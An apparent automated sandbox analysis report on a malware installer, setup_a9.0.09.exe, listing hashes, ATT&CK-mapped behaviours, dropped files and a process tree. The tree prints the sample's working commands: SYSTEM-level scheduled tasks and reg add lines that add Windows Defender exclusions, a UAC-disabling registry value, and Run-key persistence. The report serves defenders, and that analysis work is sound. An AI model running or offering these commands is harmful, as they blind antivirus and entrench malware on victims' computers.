259633f745cf14c278801257f9f1d49adb6a0e6839d5c009f363b9c0b1de1896

Analysis

max time kernel
150s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/08/2026, 22:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_a9.0.09.exe
Size 31.2MB
Sample260830-2cefkattct
SHA256 259633f745cf14c278801257f9f1d49adb6a0e6839d5c009f363b9c0b1de1896
MD5 a669f92e8933d81ba72cb4c1dbb20bb8
SHA1 41c81db3bf3df73fc9520b67856e48c27b1ca2ca
SHA512 6883583f351b55ae41d91649a4ac0649225834ac7c1450cfa9126f10f15956f625b600c53621b3fb73af0ec1d29230f887fca94f4d7dc7f460dbd978a738f756
SSDEEP 98304:Xi9U9dbM4EJ3yZLxG8caZfnjIhKnp5l6t4l8xMv4cF:S2vbMxJ35aZfnOElY4lzn
TLSH
T14E776012B346898BE476A278484B8F94E321EDB19AB1937773B4731E1FFE34C5E96104
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	qoaOuh.exe

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\qZt5bJ = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	yWRNGb.exe

Executes dropped EXE 4 IoCs

pid	Process
4204	yWRNGb.exe
3480	yWRNGb.exe
2656	qoaOuh.exe
3432	qoaOuh.exe

Loads dropped DLL 4 IoCs

pid	Process
4204	yWRNGb.exe
3480	yWRNGb.exe
2656	qoaOuh.exe
3432	qoaOuh.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\qoaOuh\\qoaOuh.exe\""	qoaOuh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\qZt5bJ\\yWRNGb.exe\""	yWRNGb.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4376	cmd.exe
752	cmd.exe
4544	cmd.exe
3852	cmd.exe
1216	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	yWRNGb.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\qoaOuh	yWRNGb.exe
File created	C:\Program Files (x86)\qoaOuh\qoaOuh.exe	yWRNGb.exe
File created	C:\Program Files (x86)\qoaOuh\XPSPLOG.dll	yWRNGb.exe
File created	C:\Program Files (x86)\qoaOuh\image.png	yWRNGb.exe
File created	C:\Program Files (x86)\qoaOuh\thumbs.db	yWRNGb.exe
File opened for modification	C:\Program Files (x86)\qoaOuh\qoaOuh.exe	yWRNGb.exe
File opened for modification	C:\Program Files (x86)\qoaOuh\XPSPLOG.dll	yWRNGb.exe
File opened for modification	C:\Program Files (x86)\qoaOuh\image.png	yWRNGb.exe
File opened for modification	C:\Program Files (x86)\qoaOuh\thumbs.db	yWRNGb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4536	cmd.exe
3776	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoaOuh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoaOuh.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	yWRNGb.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4912	schtasks.exe
316	schtasks.exe
3404	schtasks.exe
3608	schtasks.exe
4620	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
3736	setup_a9.0.09.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe
4204	yWRNGb.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 4376	4204	yWRNGb.exe	96
PID 4204 wrote to memory of 752	4204	yWRNGb.exe	99
PID 4376 wrote to memory of 3404	4376	cmd.exe	101
PID 4376 wrote to memory of 1664	4376	cmd.exe	102
PID 752 wrote to memory of 3608	752	cmd.exe	103
PID 4376 wrote to memory of 3004	4376	cmd.exe	106
PID 752 wrote to memory of 928	752	cmd.exe	107
PID 752 wrote to memory of 1184	752	cmd.exe	110
PID 4204 wrote to memory of 4544	4204	yWRNGb.exe	111
PID 4544 wrote to memory of 4620	4544	cmd.exe	113
PID 4204 wrote to memory of 3852	4204	yWRNGb.exe	115
PID 4204 wrote to memory of 1216	4204	yWRNGb.exe	117
PID 4544 wrote to memory of 3268	4544	cmd.exe	119
PID 3852 wrote to memory of 4912	3852	cmd.exe	120
PID 1216 wrote to memory of 316	1216	cmd.exe	122
PID 4544 wrote to memory of 1200	4544	cmd.exe	123
PID 3852 wrote to memory of 2760	3852	cmd.exe	124
PID 1216 wrote to memory of 1580	1216	cmd.exe	125
PID 3852 wrote to memory of 692	3852	cmd.exe	126
PID 1216 wrote to memory of 4040	1216	cmd.exe	127
PID 4536 wrote to memory of 5064	4536	cmd.exe	129
PID 3776 wrote to memory of 220	3776	cmd.exe	130
PID 4204 wrote to memory of 2656	4204	yWRNGb.exe	131

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	qoaOuh.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe
"C:\Users\Admin\AppData\Local\Temp\setup_a9.0.09.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3736

C:\Users\Public\qZt5bJ\yWRNGb.exe
C:\Users\Public\qZt5bJ\yWRNGb.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qZt5bJ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\qZt5bJ\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3404
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3608
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:928
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4912
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4040
- C:\Program Files (x86)\qoaOuh\qoaOuh.exe
  "C:\Program Files (x86)\qoaOuh\qoaOuh.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - System policy modification
  PID:2656

C:\Users\Public\qZt5bJ\yWRNGb.exe
"C:\Users\Public\qZt5bJ\yWRNGb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3480

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qZt5bJ" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4536
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qZt5bJ" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5064

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:4580

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3776
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:220

C:\Program Files (x86)\qoaOuh\qoaOuh.exe
"C:\Program Files (x86)\qoaOuh\qoaOuh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\qoaOuh\XPSPLOG.dll
Size 4.6MB
SHA256 ae1fcdbf10b589f6c8b40ac383bace333f98c84036503e37527a1ccb8c6c66c2
MD5 59c9b7acd3f18a370653a0238e82316c
SHA1 5f83de8c2e5f32b092aba3e957bed4b275f9faa1
SHA512 78e401a155ce630d8bfb109ada12b46ca9ee7b568a7cb6578ba086bc6d69db703f915316bf798990d86c20cd7dffdee8428e6c4039a4bb0f13d2f9ccfbe9c3da
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy9:BMWKfU+BcUTHCCCfqCiUffn9
TLSH
T12D263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\qoaOuh\XPSPLOG.dll
Size 1.1MB
SHA256 08200b3beb3042bd95ed26b0e1d54c69fa438ccdb1589d03c02aa69e1673c0ca
MD5 ba70040ff5216bdba8a038ea1f4321e4
SHA1 17251ed8a3fd83d76b7337d491e05a99ac84c7c2
SHA512 8b24b3dffaf35ad3f84a204f15a69e4f39dbbc813dfc0420f7830d67f5a4d61bd6ddb28959e80dead07a2971b1d48b878e466b6906e588327d630e3b0d9227db
SSDEEP 24576:RTOuWhLK5RyoT9xcjWByWfymm5LQMqKJoyPhNuv:3KLKP3cCMWmRqKJ1JNI
TLSH
T1643523C6618B521DEA4573717F8DFE3CB4B999C801B9DC1DE8D6758B4032AFA503828E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\qoaOuh\image.png
Size 5.0MB
SHA256 38c1f3e04f5331984efc14881e39060cf90bd2d6abfff5cd8109804152a563c9
MD5 5ddd772c5089592848d6ca55485b56c4
SHA1 58169d6cb254495804567bcfa193bacaa6fa6c40
SHA512 8beab057c03f80cf4b6cc9e7c1fdb45b6ffe4570f15e4c9eb85bf5e07f57d294ead4bbc5170c9dc21d66c26ff26b21b13763c3f0e09b61b594f7448f74ea00c8
SSDEEP 98304:gFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:VRIUjDgAk+jkn/IXhVaK
TLSH
T1913633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoaOuh.exe

Path C:\Program Files (x86)\qoaOuh\qoaOuh.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\qoaOuh\thumbs.db
Size 358KB
SHA256 9307cabea1475925653d9273086800aedec712bb9c9c506ab74149711f601bb9
MD5 6f6832ed1081ff68409e7535fe4fc8f7
SHA1 5767830e5e5b9423d7bf9654a2adef230867168d
SHA512 922983977768ca5caaf6d93ee286b051bea1e7440e7d5c9d64a25f4b2d49703bcf23c72fb30158a4f8cd920d5efa3caa645a3fc3acdb776dac11ba2814238b62
SSDEEP 6144:GiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:J8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1F074F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
Size 1KB
SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
MD5 adac67e1d2da2d706db151c2db316b2d
SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
TLSH
T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
MD5 SHA1 SHA512 TLSH

Submit Download

1BA79029EC3FFD076F5DAC2F70A18685

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
Size 186B
SHA256 a8f06fa0e9ab2925e3dadd2775675e41d45a9c0587965ef024fdff7c78706487
MD5 caa7eef66d3be13d444d9a826d39b82d
SHA1 b928f12f123a28112e062874386242f1025f6f49
SHA512 35cf702e4ed2db96014d34204af62fd1c53daefb28e573baf5cdce408cf1e5ee86bbcf09c19bebfd83c36299f95c154fdf49086d556cf65f48a92ba83deb6a23
TLSH
T199C08C4023B64244F1308E3E2F92126287765E059812C3100B20030C8468A005832E02
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\qZt5bJ\UxEnhance64.dll
Size 3.1MB
SHA256 bd5be1912ef476ed5d20504e259303f54df93a344622718d4a7adf0424902a73
MD5 28356dca8f05554556a8a624c816fcc2
SHA1 1f72d1f5d36c932615d020c4f8048cd7b736e8af
SHA512 1dedb32b7105f1caa8ea1fc0493b70e4eed072a4d6045e7b30f0a510f7a83e0d3169a3f342146a2823c2f260396d82489f33c904b12deecc024a5f312af1ff6c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+N:P9m29xx3Tiqt06ox6+z2rNNrKoN
TLSH
T1CEE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\qZt5bJ\adoresd.dat
Size 4.7MB
SHA256 d29832c168de2008e57f5de8d95d025659828833ac771ebc3bf522c27365104f
MD5 3f93cb1e371f3e4513d1a6771f1eb082
SHA1 182d533bf15e110f4afad1a9d9603a9962e538d3
SHA512 4cb40fa78f3aee1df434de5e6f8ac8951b20527f21aa03ce03815009e77ca0fe1bf3272baaf1c1ae3749ece3bbfa8d09ab947d486d2900a053c95e59ffe90123
SSDEEP 98304:lKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:lKClqhi0Cv54K2IVS0VQg
TLSH
T1633633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\qZt5bJ\msadox.tb
Size 8KB
SHA256 e31c3c457c93e1066a5fc2f10f5dbda0e97076a921bbd01597db2278283dd890
MD5 5f4cc9f0f2060a068610bda061344c04
SHA1 29c4f6c657b120e004c2a19f6a86f1a668cfc431
SHA512 1098036e7ac4ff9c0754b0be8b0b8442f3dd29d89de841c90dbdff2b569fb09606d1c2410db2948fab030aed748f6802068d657af7b18a4fd28fbc24199b80fa
SSDEEP 192:+qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:+sZqZOXQ3uqvR2Kfzp
TLSH
T1AE029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE624D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

yWRNGb.exe

Path C:\Users\Public\qZt5bJ\yWRNGb.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2656-687-0x0000000003AC0000-0x00000000042C3000-memory.dmp

Download

memory/2656-666-0x0000000074600000-0x0000000074D4A000-memory.dmp

Download

memory/2656-684-0x0000000005760000-0x0000000005774000-memory.dmp

Download

memory/2656-673-0x0000000003AC0000-0x00000000042C3000-memory.dmp

Download

memory/2656-677-0x0000000003AC0000-0x00000000042C3000-memory.dmp

Download

memory/2656-665-0x0000000001460000-0x0000000001461000-memory.dmp

Download

memory/2656-672-0x0000000001780000-0x0000000001781000-memory.dmp

Download

memory/2656-670-0x0000000003AC0000-0x00000000042C3000-memory.dmp

Download

memory/3480-591-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3480-592-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3480-580-0x00007FFA40B00000-0x00007FFA4101E000-memory.dmp

Download

memory/3480-593-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3480-594-0x00007FFA5D630000-0x00007FFA5D632000-memory.dmp

Download

memory/3480-585-0x00007FFA5D640000-0x00007FFA5D642000-memory.dmp

Download

memory/3480-586-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3480-590-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3480-583-0x00000190839A0000-0x0000019084227000-memory.dmp

Download

memory/3736-525-0x00007FFA4D7D0000-0x00007FFA4D7E0000-memory.dmp

Download

memory/3736-1-0x0000000000970000-0x000000000097E000-memory.dmp

Download

memory/3736-2-0x0000000000980000-0x000000000098C000-memory.dmp

Download

memory/3736-504-0x00007FFA4D7D0000-0x00007FFA4D7E0000-memory.dmp

Download

memory/3736-0-0x0000000000970000-0x000000000097E000-memory.dmp

Download

memory/3736-524-0x0000000000970000-0x000000000097E000-memory.dmp

Download

